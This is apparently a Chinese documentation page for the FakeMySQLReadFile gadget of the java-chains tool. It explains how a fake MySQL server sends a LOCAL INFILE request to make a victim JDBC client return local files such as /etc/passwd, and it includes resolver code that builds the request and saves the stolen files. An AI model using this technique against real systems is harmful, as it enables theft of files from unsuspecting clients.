Skip to content

Latest commit

 

History

History
74 lines (64 loc) · 5.24 KB

File metadata and controls

74 lines (64 loc) · 5.24 KB

FakeMySQL 读取文件(FakeMySQLReadFile)

  • 类别:mysql 别名:— 优先级:—
  • 作者:4ra1n
  • 依赖:无(java-chains 自身不引入依赖;利用面在受害方的 MySQL JDBC 驱动,需 allowLoadLocalInfile / allowUrlInLocalInfile 等特性可用)

作用

在「恶意 MySQL 服务端(Fake MySQL Server)」利用模型中充当参数载荷 gadget:它本身不构造任何 Java 对象,只是把用户配置的「待读取文件路径」(如 /etc/passwd)作为一个 String 交给上层的 Fake MySQL Payload。当受害方以可控 JDBC URL 连接这台伪造的 MySQL 服务端时,服务端借助 MySQL 协议中的 LOCAL INFILE 请求,诱导客户端把该路径对应的本地文件内容回传给攻击者,实现任意文件读取。

链接标签

  • 入口 tagsFakeMySQLReadEND
    • FakeMySQLRead —— 声明本 gadget 产出的是「Fake MySQL 读取/SSRF」模式所需的字符串载荷,被 FakeMySQLReadPayload@PayloadAnnotation(gadgetTags={"FakeMySQLRead"}))识别并消费。
    • END —— 本 gadget 是链尾,invoke 直接返回终值,不再向内包装任何下游对象。
  • 衔接 nextTags:无 —— 作为链尾,不衔接后续 gadget。
  • excludes:无。

源码剖析

本类实现极简,全部逻辑就是返回一个字符串:

@GadgetTags(tags={"FakeMySQLRead", "END"})
@GadgetAnnotation(name="FakeMySQL 读取文件", authors={"4ra1n"})
public class FakeMySQLReadFile implements Gadget {
    @Param(name="读取的文件路径", description="eg: /etc/passwd")
    public String targetFilePath = "/etc/passwd";

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.targetFilePath;   // 不调用 chain.doCreate,直接返回路径字符串
    }
}

注意 invoke没有 chain.doCreate(context) 调用——这与模板中「由内向外包装」的经典 gadget 不同:FakeMySQLReadFile 是纯参数提供者,真正的协议交互不在这个类里完成,而在 Fake MySQL 服务端的 Resolver 中。

真正干活的是 ReadFileResolver。它拿到本 gadget 返回的 fileOrUrl(即 targetFilePath),构造一个 MySQL LOCAL INFILE 请求包发给客户端:

File file = new File(this.fileOrUrl);
String shortName = file.getName();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
bao.write(-5);                              // 0xFB = LOCAL INFILE 请求标志
bao.write(this.fileOrUrl.getBytes());       // 要客户端上交的文件路径
this.outputStream.write(PacketHelper.buildPacket(1, bao.toByteArray()));

0xFB 是 MySQL 协议里服务端向客户端发起 LOAD DATA LOCAL INFILE 的包头字节。客户端(受害方 JDBC 驱动)收到后,会读取本机 fileOrUrl 指定的文件并按包回传。服务端随后在循环里逐包接收文件内容,写入本地 fake-server-files/<时间戳>/<文件名> 目录:

Path dir = Paths.get("fake-server-files");
Files.createDirectories(dir);
Path finalDir = Paths.get(dir.toFile().getAbsolutePath(), current);   // current = System.currentTimeMillis()
finalFile = Paths.get(..., current, shortName);
...
while ((bytesRead = this.inputStream.read(buffer)) != -1) {
    // 解析 3 字节小端长度头,读取对应长度的载荷并落盘
    fos.write(inner, 0, innerRead);
}

读取结束后回一个 OK 包(PacketHelper.buildPacket(2, Resp.OK))收尾。因此被窃取的文件内容最终落在 java-chains 运行目录下的 fake-server-files/ 文件夹(该点在 FakeMySQLReadPayload 的描述中亦有说明)。

参数(@Param)

字段 名称 说明 默认 可选值
targetFilePath 读取的文件路径 诱导客户端回传的目标文件绝对路径,eg /etc/passwd /etc/passwd 任意路径字符串

适用版本与原理要点

  • 该 gadget 无 description,要点来自其对应 Payload FakeMySQLReadPayload 的说明:最新版 MySQL JDBC 即使设置 allowUrlInLocalInfile=true 仍可被此姿势利用,前提是 JDBC URL 完全可控(可指向攻击者的伪造 MySQL 服务端)。
  • 本质是 MySQL LOCAL INFILE 客户端信任问题:客户端默认在服务端要求时会上交本地文件,攻击者只要控制「服务端」即可任意读文件。
  • 文件读取结果写入 java-chains 当前目录 fake-server-files/<时间戳>/ 下,便于攻击者取回。
  • 与 SSRF 变体(FakeMySQLSSRF)共用同一 FakeMySQLRead 标签与同一 ReadFileResolver 处理逻辑,区别仅在于传入的是文件路径还是 URL。

所属预设链

  • ReadFile 链steps = [FakeMySQLReadFile],单 gadget 链,直接由 Fake MySQL 读文件 Payload 驱动)

关联

  • 同族/同标签:FakeMySQLSSRF(同为 FakeMySQLRead 载荷,读 URL 而非文件)
  • 相关但不同利用面:FakeMySQLPipeFile(同为 Fake MySQL 服务端家族,但走 autoDeserialize 反序列化 RCE 路线,产出协议字节流而非纯字符串)
  • 上层 Payload:FakeMySQLReadPayloadgadgetTags={"FakeMySQLRead"}mode="Fake MySQL"